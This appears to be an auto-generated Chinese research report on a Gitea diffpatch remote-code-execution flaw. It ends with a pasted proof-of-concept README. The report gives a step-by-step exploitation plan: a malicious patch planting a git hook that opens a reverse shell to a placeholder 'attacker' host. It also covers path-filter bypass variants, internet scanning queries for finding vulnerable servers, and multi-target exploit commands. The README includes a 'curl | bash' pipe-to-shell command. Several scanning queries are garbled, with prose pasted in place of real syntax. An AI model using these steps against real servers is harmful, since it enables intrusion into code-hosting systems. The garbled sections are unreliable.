🔥 CVE-2026-60004 深度独立研究:源码审计 · 二次发现 · 利用方案
CVE-2026-60004 深度独立研究:源码审计 · 二次发现 · 利用方案
🔍 源码独立审计
对 https://github.com/0xBlackash/CVE-2026-60004 源码进行独立审计(置信度 88%)。
🧬 根因独立理解
该漏洞根因位于 Gitea 的 diffpatch API 端点(对应路由如 `/api/v1/repos/{owner}/{repo}/diffpatch`)及其底层补丁应用逻辑。该端点接收用户上传的 Git diff 补丁后,直接将补丁内容交给 `git apply` 或等价函数(如 `git.ApplyDiff`)在仓库目录中执行。补丁中的文件路径未经过充分的合法性校验,既没有拒绝指向 `.git` 元数据目录的路径,也没有对路径中的链接/编码进行规范化处理。由于 Gitea 的仓库目录本身是一个包含 `.git` 子目录(或 `.git` 文件指向的 git 目录)的非裸仓库,攻击者可构造 `diff --git a/.git/hooks/pre-receive b/.git/hooks/pre-receive` 这样的 patch,使 `git apply` 在 `.git/hooks/` 下创建/覆盖可执行的 hook 文件。当 Gitea 后续执行任意 git 操作(如 push、merge)时,操作系统会按 hook 文件名自动执行该 shell 脚本,从而实现以 Gitea 服务账户执行任意命令。修复应在 diffpatch 入口对补丁中每个文件路径做白名单校验,禁止任何包含 `.git` 或 hook 相关路径的补丁,并在 `git apply` 调用中禁用 `--unsafe-paths` 且设置 `--no-index` 等保护。
🛤️ 漏洞触发链路
1) 攻击者使用合法账号(默认开放注册下可匿名注册)登录 Gitea 并创建/获取一个仓库写权限;2) 构造恶意 diff 补丁:在 patch 中新增 `.git/hooks/post-receive` 文件,内容为反弹 shell 或任意命令;3) 调用 `POST /api/v1/repos/{owner}/{repo}/diffpatch`,携带 Basic Auth 和该补丁,使 Gitea 在服务端 `git apply` 后写入 hook;4) 攻击者向该仓库发起一次 push(或触发任意能调用 hook 的 Git 操作),操作系统执行 post-receive hook,RCE 达成。关键路径为 API 入口→未规范化路径→git apply→.git/hooks 写入→hook 触发。
🔁 二次发现(同类漏洞/扩展攻击面)
- routers/api/v1/repo/patch.go 的 ApplyDiffPatch 函数: 该函数与 diffpatch 共享补丁应用逻辑,若修复只覆盖 diffpatch 路由而未同步更新本函数,仍可通过其他 API 调用相同脆弱代码路径。
- modules/repository/patch.go 中处理网页上传补丁的 ApplyDiffPatch 流程: 网页端编辑/上传 patch 可能复用同一 git apply 封装,若未做路径过滤,同样可被用于写入 .git/hooks。
🩹 修复完整性分析
从公开信息看 1.27.1 修复该漏洞,但修复的完整性取决于是否对 diffpatch 的所有底层入口统一添加路径过滤。若仅添加 `.git` 前缀/包含的黑名单,攻击者可用 `./.git/hooks/x`、`%2e%2e/...`、Unicode 点、符号链接目录(在仓库中预先建立指向 `.git` 的符号链接)或 `/proc/self/cwd/.git/hooks` 等变体绕过;此外若修复仅停止使用 `git apply` 而未收紧仓库权限,仍可在 CI/发布流程中通过 hook 获得执行。需要结合 `git apply --whitespace` 及路径规范化检查才能避免绕过。
⚔️ 利用方案设计
利用方案:以普通写权限账户为起点。Step1 仓库准备:若仓库无提交,可创建初始文件并提交。Step2 构造补丁:通过 `git diff` 生成标准补丁,但将目标路径篡改为 `.git/hooks/post-receive`;补丁头部为 `diff --git a/.git/hooks/post-receive b/.git/hooks/post-receive`,`new file mode 100755`,正文为 `#!/bin/sh\nbash -i >& /dev/tcp/attacker/4444 0>&1\n`,并保留 `--` 行和合适上下文。Step3 发送请求:脚本使用 Basic Auth 调用 diffpatch API,multipart/form-data 或 application/octet-stream 上传补丁。Step4 触发:执行 `git push origin main`,或尝试创建 pull request 合并触发 git 操作,服务端执行 hook 后连接反弹 shell。若目标不允许 push,可使用 `pre-receive` hook 并在下一步 push 任意对象触发。最终获取 Gitea 运行用户权限。
🏷️ 生产前提定级
分类: A(A=默认部署无条件 / B=需应用配合 / C=配置缺陷 / X=范围外)
生产前提: ①生产默认部署能否触发?可以。Gitea 默认允许开放注册和创建仓库,因此互联网部署可直接匿名注册获得写权限,不需要预先账号;②需哪些应用代码配合?无,利用 Gitea 内置 diffpatch API 及其 git apply 逻辑;③需哪些配置缺陷?无需弱口令或特殊配置;若管理员关闭开放注册,则需要已有普通用户账号;④环境前提:Gitea 以非 root 用户运行,hook 以该用户权限执行;需要 API 可访问且仓库有 git 操作可触发 hook。
🕵️ 指纹与测绘语法
命中版本指纹: Gitea 默认响应头包含 `X-Gitea-Version`,如 `X-Gitea-Version: 1.27.0`;登录页和首页通常包含 `<meta name="author" content="Gitea" />`,`/api/v1/version` 返回 `{"version":"..."}`。
FOFA: header="X-Gitea-Version"
测绘引擎语法:
- Hunter:
web.body="Gitea 默认响应头包含 `X-Gitea-Version`,如 `X-Gitea-Version: 1.27.0`;登录页和首页通常包含 `<meta name="author" content="Gitea" />`,`/api/v1/version` 返回 `{"version":"..."}`。" - Quake:
response:"Gitea 默认响应头包含 `X-Gitea-Version`,如 `X-Gitea-Version: 1.27.0`;登录页和首页通常包含 `<meta name="author" content="Gitea" />`,`/api/v1/version` 返回 `{"version":"..."}`。" - ZoomEye:
"Gitea 默认响应头包含 `X-Gitea-Version`,如 `X-Gitea-Version: 1.27.0`;登录页和首页通常包含 `<meta name="author" content="Gitea" />`,`/api/v1/version` 返回 `{"version":"..."}`。" - Shodan:
http.html:"Gitea 默认响应头包含 `X-Gitea-Version`,如 `X-Gitea-Version: 1.27.0`;登录页和首页通常包含 `<meta name="author" content="Gitea" />`,`/api/v1/version` 返回 `{"version":"..."}`。"
🐳 docker 实证
状态: 🔴 未完成 | 技术栈: unknown
执行日志:
技术栈 unknown 无自动部署配方(docker 只做 Web 类——见纪律)
🔬 SAST 工具链扫描(真实工具输出)
semgrep 输出
[*] DB semgrep 规则: 462 条 | 本地规则文件: 1 个
============================================================
扫描目标: /tmp/vuln_audit/CVE_2026_60004
规则: /home/user/vuln_knowledge/tools/sast_rules/hermes-0day-round3.yaml
============================================================
[结果] 共 0 处命中:
[前 5 条命中详情——人工复核误报]
🧪 PoC 复现
从 GitHub 公开仓库抓取的实际 PoC 代码(仓库)。
📋 代码元数据语言md来源HORKimhab/CVE-2026-60004针对性✅ 已验证与漏洞相关(代码含 CVE 引用)依赖见代码注释/README用法详见代码注释中的使用说明
# CVE-2026-60004
More: https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m
## Donate
Support the maintenance of this project with PayPal or by scanning the QR code below.
[](https://www.paypal.com/donate/?hosted_button_id=GHBZLGLY76KNA)
<p>
<img src="https://raw.githubusercontent.com/HORKimhab/awesome-cybersecurity-resources/refs/heads/main/data/images/aba-merchant-hkimhab.jpeg" alt="QR code for donation" height="180"></p>
## ⚡ Simple Usage
Use this project only in safe and authorized environments such as:
- Local virtual machines
- Docker containers
- Isolated lab setups
- Authorized penetration testing environments
Example setup:
```bash
git clone <repository-url>cd <repository-name>
# Project use python follow below
# Create a virtual environment
python -m venv venv
# Activate the virtual environment
# macOS / Linux
source venv/bin/activate
# Windows (Git Bash / WSL)
source venv/Scripts/activate
# Install requirments
pip install -r requirements.txt
```
Example usage:
```bash
# 1. Optional global password for lines that omit it
export GITEA_PASSWORD='defaultpass'
# 2. Run (safe first)
python3 gitea_diffpatch_rce_poc.py --targets targets.txt -c 'id' --dry-run
# 3. Real run with 3 workers
python3 gitea_diffpatch_rce_poc.py --targets targets.txt -c 'id;
uname -srm;pwd' -w 3
# 4. Classic single-target still works
python3 gitea_diffpatch_rce_poc.py http://127.0.0.1:3000 admin 'id'
```
Note:
- clone from other project you must run `curl -fsSL https://gist.githubusercontent.com/HORKimhab/24c89ee9a86a42aac88381334f8bfe48/raw |bash -s -- -y` to clear nested dir .git
- e.g: cve-2025-46822.sh,cve-2025-46822-lab.sh,
...
---
## Credit or Reference
- https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m
---
# 📚 Educational Security Research Repository
A repository for learning,testing,and researching cybersecurity concepts in controlled environments.
---
## ⚠️ Security &
Legal Disclaimer
## Purpose
This repository is for **educational and authorized security research only**.
It is designed to help users learn about:
- Security vulnerabilities
- Sandbox and isolation concepts
- Secure coding and defensive practices
---
## Authorized Use Only
Use this repository only in environments where you have permission,
such as:
- Personal labs or virtual machines
- Docker or isolated environments
- Authorized penetration testing
- Cybersecurity training or academic research
Unauthorized or illegal use is strictly prohibited.
---
## No Liability
The author and contributors are **not responsible** for any damage,misuse,legal issues,or losses caused by this project.
By using this repository,
you agree that:
- You are responsible for your own actions
- You will use it legally and ethically
- The project is provided **without warranty**
---
## Ethical Use
This project is intended for:
- Defensive security research
- Cybersecurity education
- Vulnerability awareness
- Secure system and software research
Please follow responsible disclosure practices and comply with all applicable laws.
---
## Contact
For responsible disclosure or collaboration,
contact the repository maintainer through GitHub.⚔️ EXP 利用代码
截至分析时,Exploit-DB 未收录该 CVE 的公开利用代码。可利用上述 PoC 进行验证,或关注 Exploit-DB 更新。
🕵️ 检测指纹
当前规则库未收录针对该 CVE 的专用检测规则。建议:
- 根据漏洞根因编写 Nuclei 检测模板
- 在 WAF/IDS 中配置针对漏洞特征的规则
- 关注漏洞指纹库更新
🤖 高危漏洞深度独立研究引擎生成 · 2026-08-29 03:01